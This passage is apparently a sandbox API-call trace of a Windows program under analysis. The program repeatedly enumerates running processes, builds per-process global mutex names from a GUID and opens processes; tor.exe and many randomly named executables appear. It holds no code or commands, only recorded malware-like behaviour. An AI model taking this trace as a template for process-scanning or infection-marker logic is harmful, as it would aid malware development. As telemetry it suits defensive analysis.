rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0121.259] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0121.259] GetLastError () returned 0x0 [0121.259] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0121.259] CloseHandle (hObject=0x56c) returned 1 [0121.259] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.260] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0121.260] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0121.260] GetLastError () returned 0x0 [0121.260] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0121.260] CloseHandle (hObject=0x56c) returned 1 [0121.260] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.261] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0121.261] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0121.261] GetLastError () returned 0xb7 [0121.261] CloseHandle (hObject=0x56c) returned 1 [0121.261] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.262] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0121.262] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0121.262] GetLastError () returned 0x0 [0121.262] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0121.262] CloseHandle (hObject=0x56c) returned 1 [0121.263] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0121.264] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0121.266] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0121.267] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0121.268] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0121.269] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0121.270] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0121.271] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0121.272] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0121.272] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0121.273] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0121.274] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0121.275] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0121.276] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0121.277] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0121.278] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0121.278] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0121.279] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0121.280] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0121.281] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0121.282] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0121.282] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.283] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0121.284] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.285] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.286] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.287] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.288] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.289] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.290] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.291] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0121.292] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0121.292] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0121.292] GetLastError () returned 0xb7 [0121.292] CloseHandle (hObject=0x56c) returned 1 [0121.292] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0121.293] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0121.295] CloseHandle (hObject=0x6cc) returned 1 [0121.295] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0121.410] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0121.413] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.414] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.415] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.415] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.417] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.417] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.418] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.419] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.420] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.421] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0121.422] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.423] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.485] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.486] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.487] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.488] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.489] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.489] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.490] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.491] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.492] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0121.492] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0121.492] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0121.492] GetLastError () returned 0xb7 [0121.492] CloseHandle (hObject=0x56c) returned 1 [0121.492] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.493] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0121.493] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0121.493] GetLastError () returned 0xb7 [0121.493] CloseHandle (hObject=0x56c) returned 1 [0121.493] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.494] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.495] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0121.495] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0121.495] GetLastError () returned 0x0 [0121.495] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0121.495] CloseHandle (hObject=0x56c) returned 1 [0121.495] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.496] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0121.496] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0121.496] GetLastError () returned 0x0 [0121.496] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0121.496] CloseHandle (hObject=0x56c) returned 1 [0121.496] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0121.497] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0121.497] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0121.497] 